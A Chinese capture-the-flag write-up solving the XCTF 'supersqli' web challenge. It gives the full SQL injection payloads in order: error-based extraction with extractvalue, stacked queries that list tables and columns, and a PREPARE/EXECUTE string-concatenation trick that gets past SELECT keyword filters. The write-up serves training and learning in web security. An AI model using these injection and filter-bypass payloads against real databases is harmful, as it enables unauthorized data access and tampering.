web5_supersqli

​原题链接​

key:报错函数+SQL堆叠注入+命令拼接


①题目打开后是这个样子的????

XCTF高手进阶区 web5_supersqli writeup(新)_字段

再根据题目描述????

XCTF高手进阶区 web5_supersqli writeup(新)_数据库_02

大概率是道SQL注入题


②像​​bkctf里的那道SQL注入题​​一样

先把默认的inject=1提交一下

XCTF高手进阶区 web5_supersqli writeup(新)_数据库_03

提交inject=1'回显错误,猜测是单引号闭合

XCTF高手进阶区 web5_supersqli writeup(新)_sql_04

提交inject=1'#回显正常,说明是单引号闭合

XCTF高手进阶区 web5_supersqli writeup(新)_数据库_03


③一样的操作,用order by判断联合注入的字段数

提交inject=1' order by 2#,回显正常

提交inject=1' order by 3#,回显错误

说明字段数是2


④然后就可以试试能不能进行联合查询注入了

提交inject=1' union select 1,2#后返回了这玩意​????

XCTF高手进阶区 web5_supersqli writeup(新)_sql_06

显然是正则表达式preg_match()过滤了select等关键语句

这样就无法进行查数据了,​而且这里的/i就是忽略了大小写​,所以大小写绕过也没用

又试了试双写绕过,结果还是一样,orz


⑤去网上查了查别的思路

可以先通过报错函数,把数据库给注入出来

提交一下????

1' and extractvalue(1,concat(1,version()))#

XCTF高手进阶区 web5_supersqli writeup(新)_字段_07

可知版本信息:.18-MariaDB

提交????

-1' and extractvalue(1,concat(1,database()))#

XCTF高手进阶区 web5_supersqli writeup(新)_字段_08

数据库名称:supersqli


⑥经过测试发现这里可以执行多条语句,也就是​堆叠注入

查一下这个数据库有多少表????

1';use supersqli;show tables#

XCTF高手进阶区 web5_supersqli writeup(新)_sql_09

第一张表:words,第二张表:words1

查询表words的列名????

1';show columns from`words`;#

XCTF高手进阶区 web5_supersqli writeup(新)_字段_10


⑦如何在被禁用select等语句的情况下完成爆字段?

我们可以选择执行字符串拼接后的指令????

1';use supersqli;set @sql=concat('s','elect `id` from `words`');prepare sql_query from @sql;execute sql_query;#


字符串为表名操作时要加反引号,即数字键盘1的左边按键


XCTF高手进阶区 web5_supersqli writeup(新)_数据库_11

发现还有一层strstr()过滤,但strstr()不能区分大小写,大写或者混写一下就可以了????

1';use supersqli;set @sql=concat('s','elect `id` from `words`');PREPARE sql_query FROM @sql;EXECUTE sql_query;#


知识补充

​mysql中Prepare、execute、deallocate的使用方法​

简单点说,这里@是定义一个用户自定义变量的意思

PREPARE是预处理,这里预处理语句必须大写

格式就是PREPARE sql_query from @sql_query;execute sql_query;


XCTF高手进阶区 web5_supersqli writeup(新)_sql_12

回显页面得到flag





更多内容详见微信公众号:Python研究所

XCTF高手进阶区 web5_supersqli writeup(新)_sql_13